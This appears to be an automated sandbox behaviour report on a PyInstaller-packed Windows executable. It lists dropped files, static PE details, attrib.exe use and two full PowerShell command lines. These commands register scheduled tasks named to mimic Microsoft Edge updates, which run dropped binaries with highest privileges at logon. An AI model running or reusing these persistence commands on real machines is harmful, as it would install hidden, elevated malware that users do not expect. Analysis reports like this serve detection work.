Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll

Source: C:\$Windows.~WS\Sources\SetupHost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\$Windows.~WS\Sources\SetupHost.exe

File written: C:\$WINDOWS.~BT\Sources\SetupPlatform.ini

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

File opened: C:\Users\user\Desktop\pyvenv.cfg

Jump to behavior

Source: C:\$Windows.~WS\Sources\SetupHost.exe	Automated click: Accept
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Automated click: Next
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Automated click: Next
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Automated click: Next

Source: C:\Users\user\AppData\LineInst.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: T1#U52a9#U624b1.0.1.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: T1#U52a9#U624b1.0.1.exe

Static file information: File size 38135059 > 1048576

Source: T1#U52a9#U624b1.0.1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: T1#U52a9#U624b1.0.1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: T1#U52a9#U624b1.0.1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: T1#U52a9#U624b1.0.1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: T1#U52a9#U624b1.0.1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: T1#U52a9#U624b1.0.1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: T1#U52a9#U624b1.0.1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: T1#U52a9#U624b1.0.1.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a01\_work\6\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702622530.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1812752389.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1843026952.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\select.pdb source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706139679.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823292790.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1850173368.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: SetupPrep.pdbGCTL source: T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1726683748.000001F6ECEC4000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000003.1792989511.0000000005926000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000003.1796484557.0000000007084000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000003.1796355273.0000000003717000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000000.1789614892.0000000000821000.00000020.00000001.01000000.0000000B.sdmp, LineInst.exe, 0000000C.00000003.1792878564.0000000003700000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_lzma.pdbMM source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703021480.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1815198590.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1843822452.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_bz2.pdb source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702755893.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1813354350.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1843278211.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_hashlib.pdb source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702887018.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1814913258.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1843629057.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: SetupHost.pdbGCTL source: SetupHost.exe, 0000000D.00000000.1825359643.00000000006EC000.00000020.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_socket.pdb source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703440801.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816198264.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1844015796.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: SetupHost.pdb source: SetupHost.exe, 0000000D.00000000.1825359643.00000000006EC000.00000020.00000001.01000000.0000000D.sdmp
Source:	Binary string: SetupPrep.pdb source: T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1726683748.000001F6ECEC4000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000003.1792989511.0000000005926000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000003.1796484557.0000000007084000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000003.1796355273.0000000003717000.00000004.00000020.00020000.00000000.sdmp, LineInst.exe, 0000000C.00000000.1789614892.0000000000821000.00000020.00000001.01000000.0000000B.sdmp, LineInst.exe, 0000000C.00000003.1792878564.0000000003700000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\unicodedata.pdb source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706296950.00000173A903D000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823942492.000001EB0A292000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1850468835.00000245F38CD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_lzma.pdb source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703021480.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1815198590.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1843822452.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp

Source: T1#U52a9#U624b1.0.1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: T1#U52a9#U624b1.0.1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: T1#U52a9#U624b1.0.1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: T1#U52a9#U624b1.0.1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: T1#U52a9#U624b1.0.1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../LineInst.exe'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date); $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnce' -Description 'MicrosoftEdgeUpdatesOnce once' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnce' "
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../WinHex.exe'; $Trigger = New-ScheduledTaskTrigger -AtLogon; $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnceMe' -Description 'MicrosoftEdgeUpdatesOnce once You' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnceMe' "
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../LineInst.exe'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date); $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnce' -Description 'MicrosoftEdgeUpdatesOnce once' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnce' "	Jump to behavior
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../WinHex.exe'; $Trigger = New-ScheduledTaskTrigger -AtLogon; $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnceMe' -Description 'MicrosoftEdgeUpdatesOnce once You' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnceMe' "	Jump to behavior

Source: pidgenx.dll.12.dr

Static PE information: 0xF18D0277 [Mon Jun 2 12:24:23 2098 UTC]

Source: T1#U52a9#U624b1.0.1.exe	Static PE information: section name: _RDATA
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.0.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.0.dr	Static PE information: section name: .00cfg
Source: LineInst.exe.1.dr	Static PE information: section name: .boxload
Source: WinHex.exe.1.dr	Static PE information: section name: _RDATA
Source: SystemUpdate.exe.1.dr	Static PE information: section name: _RDATA
Source: VCRUNTIME140.dll.11.dr	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.11.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.11.dr	Static PE information: section name: .00cfg
Source: DU.dll.12.dr	Static PE information: section name: .didat
Source: DiagTrack.dll.12.dr	Static PE information: section name: .didat
Source: Diager.dll.12.dr	Static PE information: section name: .didat
Source: setupplatform.dll.12.dr	Static PE information: section name: .didat
Source: unbcl.dll.12.dr	Static PE information: section name: .didat
Source: wdsutil.dll.12.dr	Static PE information: section name: .didat
Source: VCRUNTIME140.dll.18.dr	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.18.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.18.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B2310CC push rbp; retn 0000h	0_2_00007FF77B2310CD
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B2310E4 push rcx; retn 0000h	0_2_00007FF77B2310ED
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B2BD2A5 pushad ; iretd	2_2_00007FFD9B2BD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B3D5E67 push esp; retf	2_2_00007FFD9B3D5E68
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B3D9B38 push E9606ABBh; ret	2_2_00007FFD9B3D9BA9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B28D2A5 pushad ; iretd	4_2_00007FFD9B28D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B3A0B5D pushad ; retf	4_2_00007FFD9B3A0D3D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B3A9B38 push E9606DBBh; ret	4_2_00007FFD9B3A9BA9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B3AD5B5 push eax; retf	4_2_00007FFD9B3AD74D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B3A8CFD push ebx; retf 000Ch	4_2_00007FFD9B3A8D0A

Source: pidgenx.dll.12.dr

Static PE information: section name: .text entropy: 6.807645664658098

Persistence and Installation Behavior

Found pyInstaller with non standard icon

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Process created: "C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe"
Source: C:\Users\user\AppData\WinHex.exe	Process created: C:\Users\user\AppData\Roaming\../WinHex.exe
Source: C:\Users\user\AppData\SystemUpdate.exe	Process created: C:\Users\user\AppData\SystemUpdate.exe

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior

Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI22562\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI22562\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76642\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\wdstptc.dll	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\DiagTrack.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI22562\python38.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\wdsclientapi.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\wdscore.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\SetupHost.exe	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76642\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI22562\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	File created: C:\Users\user\AppData\LineInst.exe	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\unbcl.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	File created: C:\Users\user\AppData\SystemUpdate.exe	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\WinDlp.dll	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76642\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	File created: C:\Users\user\AppData\WinHex.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI22562\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\SetupMgr.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\wdscsl.dll	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\wpx.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76642\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\setupplatform.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI22562\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76642\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76642\python38.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI22562\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI22562\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\wdsutil.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\python38.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\SetupCore.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI22562\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI22562\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76642\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76642\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\wdsimage.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76642\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI22562\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\pidgenx.dll	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\DU.dll	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76642\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\MediaSetupUIMgr.dll	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\DiagTrackRunner.exe	Jump to dropped file
Source: C:\Users\user\AppData\SystemUpdate.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76642\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\WinHex.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI74122\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\LineInst.exe	File created: C:\$Windows.~WS\Sources\Diager.dll	Jump to dropped file

Source: C:\$Windows.~WS\Sources\SetupHost.exe	File created: C:\$Windows.~WS\Sources\Panther\setuperr.log
